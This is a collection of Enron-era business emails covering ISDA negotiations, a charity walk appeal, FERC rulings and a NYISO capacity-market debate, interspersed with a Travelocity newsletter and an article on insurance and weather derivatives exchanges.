SHELL SA joined forces with government yesterday in announcing their intention to develop a natural gas industry in the Cape region, with the gas being shipped or piped from Namibia. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2725831"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>CNE strives to avoid hydrocarbons export tax </b></font></a><br>

<font size="-1"><i>Argentina, Feb 13, 2002 (BNamericas.com via COMTEX) -- </i> 

The head of Chile's national energy commission (CNE), Vivianne Blanlot, met Argentina's industry minister Ignacio de Mendiguren Tuesday for talks on the 20% tax on hydrocarbon exports that Argentina is considering. 

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Anita,

I need 15 minutes to explore if she fits the group. Please, schedule a 
meeting on
Thursday, Aug 17.

Vince

08/11/2000 12:41 PM
Subject: Li Sun, Associate/Analyst

Vince:

Li Sun called you today.  She is interested in the Research Dept. and wanted 
to set an appt. to visit with you.  I checked your calendar and it is pretty 
tight for the next week or so.  Do you want to visit with her and if so do 
you want me to make the appt. for 2 weeks from now?  She is going to call 
back after 4:00 PM today.  Thanks.  Anita

We have added the new One Way, Cash and Letter of Credit Collateral Annex to 
the back of the Industrial Master.  It is still located in my form directory, 
called industrial-u.s.#5.doc.

As the father of two juvenile diabetics and a Walk Co-Team Captain (with=20
Shonnie Daniel) here at Enron, I am writing to request you to participate i=
n=20
Enron's drive to help raise money for the Juvenile Diabetes Foundation's=20
("JDF") annual Walk to Cure Diabetes.  The Walk takes place at 9:00 a.m.,=
=20
Sunday, November 5, 2000, at Sam Houston Race Park.  The Walk itself is=20
extremely enjoyable and it is a festive occasion with hospitality tents,=20
food, music and lots of kids.=20
  =20
  You can participate by walking (and obtaining sponsors) or by sponsoring =
a=20
walker (such as myself or my children).  Last year, the ENA legal team=20
contributed over $5,000 to the Walk (and there is a dollar-for-dollar Enron=
=20
match), which put us in the top 5 teams at Enron.

If you intend to contribute   and walk, let me or Shonnie know and we will=
=20
get you the necessary forms. If you don=01,t intend to walk, your sponsorin=
g=20
contributions should be made by check payable to =01&JDF=018 and you can gi=
ve that=20
check to me or Shonnie.  If you want to participate in either way and want =
me=20
to call you with more information, there is a sign up sheet on my office=20
window across from the Ladies Room on 38.   =20

Juvenile diabetes is an auto-immune disease where the child's immune system=
=20
attacks and destroys his or her pancreatic cells that produce insulin.  As =
a=20
consequence, my children need daily doses of insulin to live, and they must=
=20
closely regulate their diet, exercise and blood sugar. This treatment=20
involves at least 2 insulin injections and 5 blood tests a day, and they wi=
ll=20
never "outgrow" this disease.

Heart disease, stroke, kidney disease, blindness, loss of limbs and nerve=
=20
damage are just some of the complications that are associated with diabetes=
. =20
As you can imagine, with such possibilities, there is also a significant=20
psychological price to pay with this disease.  The prospect of a cure =01)=
=20
funded in part by contributions from friends like you =01) does truly make =
all=20
the difference to the outlook of these young people by giving them hope for=
=20
the future.  Experts believe that with adequate funding of diabetes researc=
h,=20
a cure or at least less intrusive and more effective treatments are possibl=
e=20
within the next five years.

Thank you for your consideration of this worthy cause.

 Bart Clark
 (36119)

Celebrate the World

Dear Tana,=20

It's a big world out there, and Travelocity.com would like to help=20
you explore it. Whether it's the cool climate of Vancouver or the=20
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you. The world beckons--let's celebrate!=20

In this issue:
Featured This Month
=01=07??Win an Adventure in Spain!
=01=07??Hong Kong Chinese New Year Carnival
=01=07??Quintessential Europe--10 Must-See Attractions
=01=07??On the Beach: Chasing Away the Winter Blues in Mexico
=01=07??Today's Real Deals
Destination Guides
=01=07??Melbourne
=01=07??St. Maarten/St. Martin
=01=07??Vancouver
Insider Toolbox
=01=07??Message Boards
=01=07??Tips & Advice=20
=01=07??cameraworld.com - summer clearance - save up to 78%

***FEATURED THIS MONTH***

Win an Adventure in Spain!
Universal Studios and Travelocity.com are giving away an exhilarating=20
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Hong Kong Chinese New Year Carnival
Hong Kong was a British colony for 100 years until its return to=20
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seem to have damped the city's raging consumerism one bit. Indeed,=20
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the traditional wintertime New Year carnival. During this weeklong=20
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year with parades, fireworks, and more horseracing than you can shake=20
a stick at. Read More.=20
http://travelocity1.m0.net/m/s.asp?H1866585973X808628

Quintessential Europe--10 Must-See Attractions
Planning a trip to Europe? Perhaps nowhere else will you find such a=20
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Travelocity team can help. We've compiled a list of the top 10=20
must-see sites in Europe, including attractions in London, Paris,=20
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http://travelocity1.m0.net/m/s.asp?H1866585973X808629

On the Beach: Chasing Away the Winter Blues in Mexico
Now's the time to start planning your winter vacation, and what=20
better place to get away from the cold than Mexico? Few countries=20
boast the range of white-sand beaches, historical attractions,=20
nightlife, and affordable vacation opportunities that Mexico has. Not=20
sure which vacation destination is for you? Our travel experts=20
compare seven favorite spots for you to choose from. Read More.=20
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***TODAY'S REAL DEALS***

Cruise to Bermuda from $649 with Celebrity!
Set sail aboard Celebrity's Zenith or Horizon for a splendid cruise=20
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Reserve your spot today and take advantage of our great low=20
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August 10, 2000. Book Now!
http://travelocity1.m0.net/m/s.asp?H1866585973X808631

Sail the Legendary Norway to the Eastern Caribbean for $499!
Hop onboard and set sail for the Eastern Caribbean on one of the most=20
beautiful and graceful vessels ever built, Norwegian's legendary=20
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St. John, and NCL's private island, Great Stirrup Cay-- all from just=20
$499, including port charges and taxes! Space is limited and you must=20
book by August 15, 2000. Don't delay. Book Now!
http://travelocity1.m0.net/m/s.asp?H1866585973X808632

Southern Caribbean Cruises from $599 with Holland America!=20
Hop onboard Holland America's Veendam and enjoy a 7-night cruise to=20
the Southern Caribbean from $599 per person including port charges=20
and taxes. Enjoy such ports of calls as Barbados, Martinique, and the=20
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during the months of October, November, and December only. Space is=20
subject to availability so book now!
http://travelocity1.m0.net/m/s.asp?H1866585973X808651

London in the Limelight: Fourth Night FREE!
There's always something new to discover in London, one of Europe's=20
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this eclectic city has to offer, from shopping to attractions and=20
restaurants to the incredible nightlife! For a limited time, book an=20
American Airlines Vacations package at participating hotel properties=20
between July 12 and August 15, 2000 for travel between July 12 and=20
August 31, 2000. Stay a minimum of four nights and receive your=20
fourth hotel night free! Book Now!
http://travelocity1.m0.net/m/s.asp?H1866585973X808633

FREE Hotel Night in Orlando!
Take the whole family and enjoy a fun-filled vacation in sunny=20
Orlando! Book a minimum five-day/four-night Delta Vacations package=20
at the Hyatt Regency Grand Cypress Resort and receive the fourth=20
night FREE (a savings of up to $140)! This special package is only=20
available for a limited time. You must book your package between=20
July 27 and August 20, 2000 for travel between August 21 and=20
September 29, 2000. Start your fun-filled family vacation in Orlando=20
today! Book Now!
http://travelocity1.m0.net/m/s.asp?H1866585973X808634

***DESTINATION GUIDES***

Melbourne
Neighboring Sydney may have the Olympics, but to hear locals tell it,=20
Melbourne has just about everything else. Melbourne was founded by=20
the English. But today the city boasts an incredibly diverse ethnic=20
mix, with immigrants from Malaysia, Indonesia, China, and other Asian=20
countries rubbing shoulders with a large contingent of European=20
exiles. You'll find shopping and culture rivaling--some say=20
exceeding--that of more-traveled Sydney. Throw in the world's best=20
botanical gardens and the planet's oldest zoo, and you've got a=20
can't-miss Australian destination. Read more.
http://travelocity1.m0.net/m/s.asp?H1866585973X808635

St. Maarten/St. Martin
Island lore tells us it happened as the result of a land-grab between=20
a drunken Dutchman and an equally inebriated Frenchman. Whatever the=20
cause, the result is that quirky St.Maarten/St. Martin is one-half=20
French and one-half Dutch--although both sides co-exist so peacefully=20
you can cross from one to the other and never know it. (The fact that=20
virtually everyone speaks English helps with this effect.) Today the=20
island is a beach lover's paradise: 37 square miles of land harbor 36=20
pristine sandy beaches. But shopping and nightlife are also first=20
class on this unique island, where you'll find the best elements of=20
the cultures of two European countries. Read More.
http://travelocity1.m0.net/m/s.asp?H1866585973X808636

Vancouver
Few cities have changed as dramatically in the last 15 years as has=20
Vancouver, British Columbia. For years Vancouver was a rowdy mill=20
town too far from the rest of civilization to be much of a tourist=20
draw. But the area has been dramatically reborn as a thriving,=20
cosmopolitan city. The explosion of technology companies has had much=20
to with this. So have Canada's liberal immigration laws, which have=20
brought waves of entrepreneurial newcomers--mostly from China, but=20
from all other corners of the world as well. The result is that=20
today's Vancouver is a true melting pot, where signs advertising=20
"Chinese-Canadian food" are as common as maple leaves. And should you=20
tire of the city (you won't), the stunning natural beauty of British=20
Columbia is just minutes away. Read More.
http://travelocity1.m0.net/m/s.asp?H1866585973X808637

***INSIDER TOOLBOX***

Message Boards=20
Going around the world this summer? How about stopping off in Rome
for a little history? If island fun is more your speed, how about a=20
jaunt to the South Pacific? Or maybe you're staying closer to=20
home...Vegas is always a blast. Wherever your dream destination may=20
be, check out what others have to say on Message Boards.=20

Rome: http://travelocity1.m0.net/m/s.asp?H1866585973X808638
South Pacific: http://travelocity1.m0.net/m/s.asp?H1866585973X808639
Vegas: http://travelocity1.m0.net/m/s.asp?H1866585973X808640
Message Boards: http://travelocity1.m0.net/m/s.asp?H1866585973X808641

***TIPS & ADVICE***

=01=07??Applying for or Renewing a Passport
http://travelocity1.m0.net/m/s.asp?H1866585973X808642

=01=07??Handling Cash Overseas
http://travelocity1.m0.net/m/s.asp?H1866585973X808643

=01=07??The Art of Price Negotiation Abroad
http://travelocity1.m0.net/m/s.asp?H1866585973X808644

=01=07??Staying Healthy: Precautions to Take Before Traveling
http://travelocity1.m0.net/m/s.asp?H1866585973X808645

=01=07??The Facts on Melatonin and Jet Lag
http://travelocity1.m0.net/m/s.asp?H1866585973X808646

***EXCLUSIVE OFFERS***

cameraworld.com - summer clearance - save up to 78%
The best value in cameras, and more! Take advantage of=20
cameraworld.com's Summer Clearance Sale. Hundreds of photo and video=20
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********** NEWS FROM OUR SPONSORS **********
It's not too early to plan your Colorado ski vacation for next=20
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* * *=20

Experience Las Vegas at its FINEST! Mandalay Resort Group offers some=20
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http://travelocity1.m0.net/m/s.asp?H1866585973X808649

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::=20

Happy Travels!=20

The Travelocity.com Team=20
Go Virtually Anywhere!=20
www.travelocity.com

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You may update your e-mail address within Your Account Preferences.=20
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http://travelocity1.m0.net/m/s.asp?H1866585973X808626

Travelocityc and Travelocity.com are trademarks of Travelocity.com LP=20
and Sabrec is a trademark of an affiliate of Sabre Inc., 2000=20
Travelocity.com LP. All rights reserved. WB/WS=20
#229 CST#2050374-40=20

#31550

I do not show anything in our database to indicate that a master agreement 
has been requested or sent.  The only document I am aware of is the Deemed 
ISDA you sent me below.  If Enron is going to enter into more transactions 
with this counterparty we should determine which office (ENA or Europe) is 
most likely to trade with this counterparty on an ongoing basis and have them 
spearhead the negotiations.  The other office would then mirror the master 
that ultimately gets executed.  Either way, credit would be the starting 
place for having a master prepared.  Please call if you have any questions.

	Celeste Cisneros
	09/25/2000 09:15 AM
		 
		 To: Brent Hendry/NA/Enron@Enron
		 cc: 
		 Subject: ISDA Master Agreement between BAREP and Enron

Good morning, it's me again.  I looks like we're doing a deal with Barep for 
Oslo (I believe they do not yet have an ISDA in place with Barep).  Steven Vu 
is needing to know our status with the ISDA.  I know we're done deals with 
them and I have a confirm from a few weeks ago that has that verbage 
(attached), but when I checked in the Financial Agreements log, Barep is not 
on there and I don't want to assume anything.  Can you advise?  Thanks.

---------------------- Forwarded by Celeste Cisneros/NA/Enron on 09/25/2000 
09:09 AM ---------------------------

Scott Tackett
09/25/2000 09:06 AM
To: Celeste Cisneros/NA/Enron@Enron
cc:  

Subject: ISDA Master Agreement between BAREP and Enron

---------------------- Forwarded by Scott Tackett/Corp/Enron on 09/25/2000 
   
	From:  Steven Vu @ ECT                           09/25/2000 08:48 AM
	
To: Scott Tackett/Corp/Enron@Enron
cc:  

Scott:

How are we on getting an ISDA between ENA and BAREP?  

Steven

---------------------- Forwarded by Steven Vu/HOU/ECT on 09/25/2000 08:47 AM 
   
	From:  Oriane CHENEAU <Oriane.Cheneau@socgen.com>                           
09/25/2000 07:19 AM
	
To: "Steven.Vu" <Steven.Vu@enron.com> (IPM Return requested) (Receipt 
notification requested)
cc:  

Dear Steven:

Since this last e.mail below, I have no news from your legal department. 
Could you please tell to me what is going on?

I am looking forward to sending to you our draft of ISDA Master Agreement.

Best Regards.

Oriane
----- Forwarded by Oriane CHENEAU/barep/fr/socgen on 25/09/2000 14:17 -----

 Oriane CHENEAU
 07/09/2000 15:22

   To: Steven.Vu@enron.com@internet
   cc:
   Subject: Re:

Steven:

Oriane Ch,neau
Legal counsel

tel: 33 1 53 32 91 52
fax: 33 1 53 32 91 21

Thank you.
Oriane

 Steven.Vu@enron.com
 07/09/2000 15:18

   To: Oriane CHENEAU/barep/fr/socgen@socgen
   cc:
   Subject:

Oriane:

One more thing, could you please e-mail me all of your contact information?  I
would like to forward this to our legal team here in Houston.

Steven

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04:22 PM ---------------------------

Joseph Hrgovcic
04/05/2000 04:06 PM
cc: vkaminski@aol.com, Shirley Crenshaw/HOU/ECT@ECT 
Subject: CME and CATEX

---------------------- Forwarded by Joseph Hrgovcic/HOU/ECT on 04/05/2000 

Lucy Ortiz
04/05/2000 04:02 PM
To: Joseph Hrgovcic/HOU/ECT@ECT
cc:  

Spotlight Report 
  Exchange products seeing slow trading
  GAVIN SOUTER

  03/20/2000 
  Business Insurance 
  Page 3 
  Copyright (C) 2000 Crain Communications, Inc. All rights
  reserved. 

  Exchange-based insurance products developed in recent years have
  been somewhat slow to get off the ground.

  Although several exchanges have offered derivative contracts since
  the mid-1990s to cover insurance risks, none so far has posted a
  significant volume of trades.

  Few insurers, reinsurers or policyholders have been drawn away
  from the traditional insurance markets, where capacity remains
  abundant and relatively cheap.

  As long as those traditional markets manage to weather major
  natural catastrophes, the allure of the exchange-based products will
  remain limited, observers say.

  Also stifling the growth of the exchange-based contracts is the
  limited number of contracts available, one expert noted. Dealers, he
  said, are unable to secure a suitable hedge by laying off one
  contract against another.

  Although the various exchanges have had a good opportunity to
  establish a widely used set of new risk financing products, that has
  not been achieved, said Morton Lane, senior managing director,
  capital markets division at Gerling Global Financial Products in
  New York.

  The main problem with the existing exchanges is that they do not
  offer a sufficiently diverse array of products, he said. The only way
  to control the risks in the catastrophe options is to have a diversified
  portfolio of other contracts, and none of the exchanges currently
  offers a sufficiently broad range of options to provide for that
  hedge, he said.

  Florida windstorm options, for example, cannot be bought and then
  hedged in the same way that International Business Machines Corp.
  stock options contracts can be hedged with IBM stock, Mr. Lane
  explained.

  The exchanges might be more attractive to investors if, in addition to
  natural catastrophe options, they included options on other risks, he
  said. Those might include, for example, satellite, aviation and crop
  indexes, Mr. Lane said. "For the insurance buyer, such exchange
  instruments would not represent the perfect risk transfer vehicle, but
  as long as they are quantifiable and indexable, they may represent a
  good surrogate," he said.

  The exchanges could also be used to create a derivatives market for
  over-the-counter securitized deals, if there are regular issuers of
  catastrophe bonds, Mr. Lane said.

  The soft insurance market has also hindered the growth of
  exchange-based insurance products, said Sean F. Mooney, senior
  vp and chief economist at Guy Carpenter & Co., the reinsurance
  brokerage unit of Marsh Inc. in New York.

  "The traditional market has been so competitive that people are not
  looking for other ways of doing business," he said.

  At least in concept, the exchange-based deals are generally similar
  to the mortgage-backed securities that have been a huge success
  since they were introduced in the 1970s. "There is a belief that
  alternative means of transferring risks will grow, but it is difficult to
  predict when," Mr. Mooney said.

  Currently, the trading that is taking place typically involves
  established insurers and reinsurers, so the exchanges have not
  brought substantial new capacity to the marketplace, he said.

  Guy Carpenter provided the index for the Bermuda Commodities
  Exchange reinsurance products. The BCE did not take off,
  however, and was suspended last year after two years of little
  activity.

  The oldest of the insurance-related, exchange-based derivative
  products are the catastrophe options traded on the Chicago Board
  of Trade, which began trading the options in 1996.

  Initially, there was substantial interest in the options, but the soft
  traditional market has hampered use of the contracts to hedge
  catastrophe exposures, said Carlton Purty, an independent broker
  at the CBOT who trades in options.

  No catastrophe option trades have been completed at the CBOT
  so far this year, he said. Last year, there was increased interest in
  the contracts because of Hurricane Floyd, but few contracts were
  traded, Mr. Purty said.

  "I think a major, major catastrophe will have to happen before they
  really take off," he said.

  The contracts offer real protection, and options dealers are keen to
  trade in a new niche, but the conventional insurance and reinsurance
  markets are so soft that few companies are turning to alternative
  coverage options, Mr. Purty said.

  The Catastrophe Risk Exchange, located in Princeton, N.J., has
  radically changed its structure since it was originally announced in
  mid-1996, and it is well positioned to expand, said Frank Sweeney,
  chief operating officer.

  CATEX initially planned to be a computer-based facility for
  reinsurers that would enable them to exchange catastrophe risks
  and to build balanced portfolios.

  But by the time the exchange was operational in November 1996, it
  was clear that most reinsurers and insurers interested in CATEX
  wanted only to buy and sell conventional reinsurance, Mr. Sweeney
  said.

  Although there was some interest in risk swapping, only a handful of
  risks were posted on the system, and none was traded, Mr.
  Sweeney said.

  Consequently, CATEX has become chiefly a "cash for cover"
  exchange, he said, noting that the risks reinsured on the exchange
  include property catastrophe coverage, aviation and liability
  coverages. CATEX also trades industry loss warranties, where
  coverage is triggered by an actual loss combined with an industry
  loss over an agreed threshold.

  Other adjustments to the exchange included making it accessible
  through the Internet in November 1998. And late last year, CATEX
  offered users the ability to set up smaller networks, allowing them
  form groups whose members do business only with one another.

  Since its inception, CATEX has completed about 450 trades,
  totaling $400 million in premium and more than $3 billion in limits,
  he said. CATEX's roughly 160 subscribers include reinsurers,
  insurers and corporate entities that purchase coverage through their
  captives, Mr. Sweeney said.

  "We obviously have a long way to go, but we are pretty satisfied
  with what we have achieved so far," Mr. Sweeney said.

  The exchange sees increased activity after major losses, as cedents
  seek to buy replacement coverage to offset depletions in their
  existing cover, he said. For example, Mr. Sweeney said, there was
  a flurry of activity after the European windstorms in December last
  year.

  Last September, the Chicago Mercantile Exchange entered the field
  of insurance-related derivatives when it began offering weather
  derivatives .

  Thus far, 420 futures contracts have been traded, said Larry
  Grannan, senior director in product marketing at the CME.

  Such contracts are designed to allow businesses to hedge against
  weather-related losses. For example, a utility may sell less power in
  a mild winter, and it would be able to use the futures to hedge a
  resultant fall in revenues.

  The exchange first offered heat-based indexes for Atlanta, Chicago,
  Cincinnati and New York. In January, it added Philadelphia, Dallas,
  Des Moines, Las Vegas, Tucson and Portland, and it began offering
  contracts based on cold weather.

  Currently, most of the trades are between securities dealers
  themselves, but, eventually, the contracts will likely be used more
  extensively by utilities and insurers, Mr. Grannan said.

  In addition, the futures contracts could be used as hedges for
  over-the-counter securitized deals, he said.

Please see the attached and let me know if you have questions.  If it looks 
OK to you and the 1/2 reimbursement arrangement is OK with EPFS, please 
forward to James Centilli for his review.  Thanks.

In the Commission meeting today:

GridFlorida=01,s application to form an RTO in the Florida peninsula was=20
approved with certain distinct directives. Namely, GridFlorida must improve=
=20
stakeholder participation;  must report on further developments to ensure=
=20
obligations of reliability and interface functions according to Order 2000;=
=20
and must further define the rights of passive owners understanding that any=
=20
veto rights of passive owners will be subject to review by FERC. RT01-67

Southwest Power Pool=01,s application to form an hybrid RTO is rejected. SP=
P=01,s=20
application was limited to Entergy and SPP only and therefore, has not mean=
t=20
the scope and regional configuration as directed by Order 2000. The require=
d=20
report according to the Federal Power Act, Section 203 was not filed. The=
=20
order does permit SPP to change its merger affiliation to join an RTO and=
=20
approves the filing regarding the board selection process. RT01-34

FERC is issuing a Notice, RM99-2 inviting comments from the industry  on=20
interregional coordination. A technical conference will be scheduled after=
=20
comments are received. FERC has been disappointed in the filings with regar=
d=20
to the interregional participation; hence, the Notice.

CPUC v. El Paso, RP00-241. This order discusses CPUC=01,s complaint that El=
 Paso=20
Merchant intentionally acquired more capacity than needed to manipulate pri=
ce=20
spreads. The order dismisses denies summary judgment and dismisses the=20
complaint. FERC stated that El Paso Merchant has not violated any standards=
=20
of conduct. With respect to the issue of market power, the current record i=
s=20
not considered to be complete. However, FERC will schedule a hearing to=20
complete and review the record.

"Roy J. Shanker" <royjshanker@worldnet.att.net> writes to the 
NYISO_TECH_EXCHANGE Discussion List:

I won't repeat everything that Mark said. I agree with all of it. I
publically stated several times that it would be appropriate for parties to
consider these plus other risk elements in formulating bidding strategies
for upcoming ICAP.

However, it also appears that Steven has forgotten a major and fundamental
change in the ICAP markets. This is surprising as he characterizes ICAP as a
call on the resource. When ICAP was offered for last summer there was no
energy price cap, or effectively the price cap was $10,000, today it is
$1,000. This means that in the context of his analogy a call was offered
last summer with a strike price of $10,000 versus $1,000 today. An order of
magnitude change in strike price for the seller of a call seems pretty major
to me, particularly when coupled with all of the other new risk factors and
general "tightening" of supply versus demand.

From: owner-nyiso_tech_exchange@lists.thebiz.net
[mailto:owner-nyiso_tech_exchange@lists.thebiz.net]On Behalf Of Stephen
Fernands
Sent: Thursday, May 10, 2001 1:05 AM
To: market_relations@nyiso.com; Tech Team EMail List,
Cc: Brian Hayduk; Jmoore; Peter Duprey; jkennedy@newenergy.com
Subject: Re: NYISO - MC - Document from Stephen Fernands to MC Members

"Stephen Fernands" <srfernands@cesolution.com> writes to the

Mark,
Thank you for your thoughtful response.  I think you raise some valid
points, but I do not think they change the end conclusion.

Fundamental Value of ICAP
The principle of the ICAP market, as in any market, should be to reflect the
value of the underlying product that is being sold to the market.  The
question is whether the product being sold, in this case ICAP, has truly
appreciated more then 400% since the previous ICAP auctions.  Maybe - but I
doubt it.

AMP and Expected Revenue
The premise that changing the existing market mitigation rules to catch rule
breaking on a real time basis instead of a one day lag basis, although
plausible, seems fairly weak.  It presumes that generation owners were
planning on violating the pre-existing screens and counting on the revenue
from those "golden eggs."  Likewise, the link between "expected energy
revenue" and ICAP prices is tenuous at best.  Generators are not limited to
receiving revenue from the spot market and may well choose to sell energy in
the bilateral market.  In either case the goal of the generation owner is to
maximize revenue through all markets.  The ICAP market, if functioning
properly, should reflect the value of the first call on the energy from the
generator by the NYISO and the ability of the NYISO to curtail external
transactions from that generator.  For example two generation owners owned
two plants with the same characteristics. One generation owner did a
relatively "good" job selling a forward energy contract for the 6 month
procurement period while the other owner did a relatively "poor" job selling
a similar contract.  In the ICAP auctions they both should have the same
strategy - maximize the revenue that each of them can receive out of the
ICAP auction.  Any other strategy by either of the plants will lead to
overall lower profits.

Price Cap Load Bidding (I won't comment on if Virtual Bidding were in place
because it isn't going to be)
Price Cap Load Bidding has been available in the past, only know it is
expanded slightly to Zonal Price Cap Load Bidding.  This is not a
significant change to the existing rules and would seem unlikely to account
for either a significant change in the expected energy revenue or the
underlying value of the ICAP product.

"...significant uncertainty to the New York market..."
I would agree that all of the rule changes including the Penalty and Public
Disclosure Proposal  made it difficult for generation owners to properly
evaluate the effects of selling ICAP into a 6 month market.  For this
reason, as well as the other possible reasons listed on my letter, I believe
that mitigating measures should be evaluated.  I am not passing judgment at
this stage, but feel that all parties should know that the prices that were
posted are in the process of being reviewed and that subsequent changes may
be required to some or all of the months.

Next Steps
If the MMU determines that there was economic and/ or physical withholding,
whether due to regulatory uncertainty in surrounding control areas or
internal uncertainty about the exact effects of the AMP, I believe that it
is most appropriate for the MMU to take immediate action and refer it to the
committees for longer term resolution.

Stephen Fernands
AES NewEnergy
215.875.9440

From: "Mark Younger" <mdy@slater-consulting.com>
To: "Tech Team EMail List," <nyiso_tech_exchange@global2000.net>
Sent: Wednesday, May 09, 2001 2:04 PM
Subject: FW: NYISO - MC - Document from Stephen Fernands to MC Members

> Steve Fernand's comments on the recent ICAP deficiency auction results are
> based upon a fundamental misunderstanding of the ICAP market.  This
> misunderstanding is summarized in his statement that "Unlike the electric
> commodity, there have been no significant changes in the underlying costs
> for suppliers of ICAP."  Since last summer there have been very
significant
> changes in the factors that affect the ICAP markets in New York.
>
> The basic principle of the ICAP market is that it provides the generator
(or
> external ICAP provider) a mechanism to recover costs that are not
adequately
> recovered from the energy market.  In return for this revenue the
generator
> accepts an obligation to bid into the NYISO day-ahead energy market every
> day that the generator is not out of service due to either maintenance or
> forced outage.
>
> The basic theory on developing a bid into the ICAP market for an internal
> generator is that the generator should estimate the total revenue it
> requires from the ICAP market to continue operating. This calculation is
> based upon its total cost of remaining in business less its expected
profits
> from the energy market (expected revenues less expected fuel costs).  For
> external suppliers the ICAP bid is based upon the opportunity cost of
being
> obligated to the New York energy market rather than being either obligated
> to another market or having no obligations to any market.
>
> Clearly, in each case, the bid into the capacity market is dependent upon
> the expectations of the New York energy market.  There have been several
> adopted and proposed changes in the New York energy markets that make them
> both less desirable than last year and less desirable than the energy
> markets surrounding New York.  These include:
>
> The Circuit Breaker/AMP - The Circuit Breaker/AMP creates both a concern
> that the day-ahead market prices will be depressed from the levels that
> should exist.  The implementation of the circuit breaker raises concerns
> that the market prices in New York energy price will be depressed.  The
> potential ways in which the DAM prices could be depressed include failure
to
> incorporate changing unit operating parameters, fuel costs, or emissions
> costs.  Additionally, while opportunity costs are a part of an acceptable
> bid, there is no methodology to keep the circuit breaker from effectively
> removing the opportunity costs for a circuit broken bid.  Finally, the
> design of the circuit breaker may result in numerous individual bids by
> different market participants being circuit broken when they are not
> exercises of market power.  Every time a bid is improperly circuit broken
it
> affects all sellers because all sellers end up being paid less in the DAM
> then they should have received.
>
> In addition to these questions about whether the AMP will improperly
depress
> prices, there is still uncertainty to how  a generator that has been
> improperly mitigated is supposed to be able to be compensated.  This was
> part of the original circuit breaker design but as of this point the NYISO
> has failed to provide any description of how this process will work.
There
> is also uncertainty about the reference prices and the process that
> generators will follow in getting changes or exceptions to the reference
> prices accepted.  The uncertainty raises the cost of being obligated to
the
> New York market.
>
> Price Capped Load Bidding - The price capped load bidding mechanism that
is
> being implemented this summer provides a sophisticated tool to a small
> subset of market participants to determine whether they want to purchase
at
> the DAM market prices.  This provides the possibility that day-ahead
market
> prices will systematically be depressed relative to the real time market
if
> this mechanism is abused.  Virtual load bidding has been blocked for the
> summer.  If virtual load bidding were implemented it would provide a
> potential check on this market manipulating behavior.  The only check
> allowed in our market design is the inclusion of opportunity costs in the
> generator day-ahead market bids.  As addressed above, the application of
the
> Circuit Breaker/AMP is likely to impede the generators including
opportunity
> costs in their bids thereby eliminating the only check on using the price
> capped load bids to manipulate the market.
>
> Penalty and Public Disclosure Proposal -  This proposal will penalize
market
> participants that are mitigated for exceeding the NYISO Market Mitigation
> Measures. There have been issues raised related to this proposal regarding
> due process and fundamental fairness.  The penalties only apply to
> generators and other suppliers.  The penalty is not based upon a
> determination that the market participant has exercised market power.
> Finally, the ADR process can determine whether mitigation was properly
> applied by the NYISO but cannot determine whether the penalty that was
> applied was appropriate.
>
> Each of the above measures has resulted in a potential reduction in energy
> market revenues and added significant uncertainty to the New York market.
> The above price control measures are not in place in the surrounding
> markets.  Each of these makes the New York market less desirable than its
> neighbors and raises the price of being obligated to the New York market.
> Interestingly, the Penalty and Public Disclosure Proposal was approved by
> the NYISO Management Committee between the ICAP Monthly auction and the
ICAP
> Deficiency auction.
>
> The above are not the only price control proposals that have been made for
> the NYISO energy market.  Most notably, there have been proposals for $150
> price caps in the energy market and retroactive price authority.
> Fortunately, both of these ill-considered proposals were ultimately
> withdrawn.  However, the mere fact that they were proposed inflicts
> uncertainty on the energy market and therefore increases the expected
prices
> in the ICAP market.
>
> Two final points need to be clarified regarding Mr. Fernand's argument
that
> the results of the auction indicate a problem.  First, he lists the change
> in ICAP market clearing prices between last year and this year as
indicating
> there is a problem in the ICAP markets.  When generators bid into last
> summer's auction they had not yet experienced summer operation under the
> NYISO markets. There also had not been the broad range of price control
> measures proposed and adopted for this summer.  Compared to last summer,
> ICAP bids for this summer would have incorporated better understanding of
> the expected profits in the energy market as well the expected impacts of
> the price control measures.  Second, he also uses the results of this
> summer's strip/monthly auction and the deficiency auction as an indication
> of there being problems in the ICAP market.  Because the entire ICAP
> requirement is not cleared in a single auction, the prices that are bid
into
> the earlier auctions are essentially an ICAP providers estimate of its
> opportunity cost of selling in the earlier auction rather than selling in
a
> later auction.  This requires the ICAP providers to guess the likely bids
of
> the marginal ICAP providers.  The results of this years auctions merely
> indicate that those who sold in the early auctions apparently did not do a
> very good job of guessing the lost revenue associated with selling in the
> earlier auctions.
>
> Mr. Fernand's provides a set of proposed measures for addressing the ICAP
> issue.  If any of them are worthy of be considered then they should be
aired
> through the committee process.  Nonetheless, one of the proposals should
be
> killed at the outset.  Because being an ICAP provider to New York includes
> an obligation to bid into the energy market, no ICAP owners should ever be
> "automatically bid into the Deficiency Auction" or any other auction.  Mr.
> Fernand's suggests that that the automatic bidding requirement be relieved
> if a Long ICAP Owner exclude itself.  The act of choosing not to bid into
> the ICAP auction is in itself an indication that the ICAP provider has
> chosen to exclude itself.
>
> Mark Younger
> Slater Consulting
> 69 Werking Road
> East Greenbush, NY  12061
> 518-286-1937 ph
> 518-286-1941 fax
>
>
> From: kkranz@nyiso.com [mailto:kkranz@nyiso.com]
> Sent: Tuesday, May 08, 2001 2:49 PM
> To: marketrelations@nyiso.com
> Subject: NYISO - MC - Document from Stephen Fernands to MC Members
>
>  Dear Management Committee Members.
>
> The attached document  is being forwarded to you at the request of Stephen
> Fernands of New Energy Inc.
>
> Regards,
>
> Kristen Kranz
> 518-356-6186
>
>
> (See attached file: Stephen Fernands to MC re ICAP.PDF)
>

Chance

Hello how are you?  I hope well.   I have completed recreating the gulf curves from 1st of December to the end of January.
However, the new challenge of the day is how do I send these files to you?  They are located here.
					
Local Disk C:
Documents and Settings
sbrawne
Local Settings
Tempory Internet
OLKB8

then the files are Newfteast1231 thru 0122  

I hope this all helps.  I have tried to Email these to you and I cant attach them.

I sold gas to New Power for today and tomorrow, deal 557800.  New Power will 
take this gas into their pool.

Date  Volume  Price
1/4/2001 963  10.31
1/5/2001 1007  10.31

Peter, thank you for the message. Thanks to your good work, it appears that matters are in order.  All the best.  Jim

From: 	Keohane, Peter  
Sent:	Friday, June 08, 2001 2:49 PM
To:	Derrick Jr., James; Haedicke, Mark
Cc:	Gaffney, Chris; Johnston, Greg; Powell, Mark; Crawford, Bart
Subject:	FW: Peter Keohane re Enron Blakes relationship

